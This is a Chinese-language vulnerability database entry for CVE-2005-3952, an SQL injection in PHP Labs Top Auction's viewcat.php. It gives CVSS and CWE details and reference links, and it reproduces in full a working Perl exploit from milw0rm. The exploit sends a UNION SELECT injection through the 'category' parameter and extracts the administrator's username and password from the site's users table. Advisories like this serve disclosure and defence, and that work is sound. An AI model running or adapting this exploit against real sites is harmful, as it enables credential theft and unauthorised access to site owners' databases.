CVE-2005-3952
CVSS7.5
发布时间 :2005-12-01 01:03:00
修订时间 :2011-08-05 00:00:00
NMCOE    

[原文]SQL injection vulnerability in PHP Labs Top Auction allows remote attackers to execute arbitrary SQL commands via the (1) category and (2) type parameters to viewcat.php, or (3) certain search parameters. NOTE: later a disclosure reported the affected version as 1.0.


[CNNVD]PHP Labs Top Auction多个SQL注入漏洞(CNNVD-200512-002)

        PHP Labs Top Auction 当中存在SQL注入漏洞。远程攻击者可以借助对viewcat.php的(1) category 和 (2) type 参数,或(3) 特定的search参数,执行任意的SQL指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-89 [SQL命令中使用的特殊元素转义处理不恰当(SQL注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3952
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3952
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-002
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2005/2552
(VENDOR_ADVISORY)  VUPEN  ADV-2005-2552
http://www.securityfocus.com/bid/15547
(UNKNOWN)  BID  15547
http://www.securityfocus.com/archive/1/archive/1/466569/100/200/threaded
(UNKNOWN)  BUGTRAQ  20070421 Re: Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection // starhack.org
http://www.securityfocus.com/archive/1/archive/1/466565/100/200/threaded
(UNKNOWN)  BUGTRAQ  20070421 Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection // starhack.org
http://www.osvdb.org/21106
(UNKNOWN)  OSVDB  21106
http://www.osvdb.org/21105
(UNKNOWN)  OSVDB  21105
http://www.milw0rm.com/exploits/3456
(UNKNOWN)  MILW0RM  3456
http://secunia.com/advisories/17687
(VENDOR_ADVISORY)  SECUNIA  17687
http://pridels0.blogspot.com/2005/11/top-auction-multiple-sql-vuln.html
(UNKNOWN)  MISC  http://pridels0.blogspot.com/2005/11/top-auction-multiple-sql-vuln.html

- 漏洞信息

PHP Labs Top Auction多个SQL注入漏洞
高危 SQL注入
2005-12-01 00:00:00 2007-03-30 00:00:00
远程  
        PHP Labs Top Auction 当中存在SQL注入漏洞。远程攻击者可以借助对viewcat.php的(1) category 和 (2) type 参数,或(3) 特定的search参数,执行任意的SQL指令。

- 公告与补丁

        

- 漏洞信息 (3456)

Top Auction 1.0 (viewcat.php) Remote SQL Injection Exploit (EDBID:3456)
php webapps
2007-03-11 Verified
0 ajann
N/A [点击下载]
#!/usr/bin/perl
#[Script Name: Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.phplabs.com
#[$$         : 39.95$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   	Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/viewcat.php?category=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),nick,char(112,97,115,115,58),password),3%20from%20users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /pass:(.*?)<\/title>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-11]
		

- 漏洞信息

21105
PHP Labs Top Auction viewcat.php Multiple Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Top Auction contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the viewcat.php script not properly sanitizing user-supplied input to the "category" and "type" variables. This may allow an attacker to inject or manipulate SQL queries in the back-end database. Additionally, if a failed query is performed, the program will disclose the software's installation path. While such information is relatively low risk, it is often useful in carrying out additional, more focused attacks.

- 时间线

2005-11-23 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站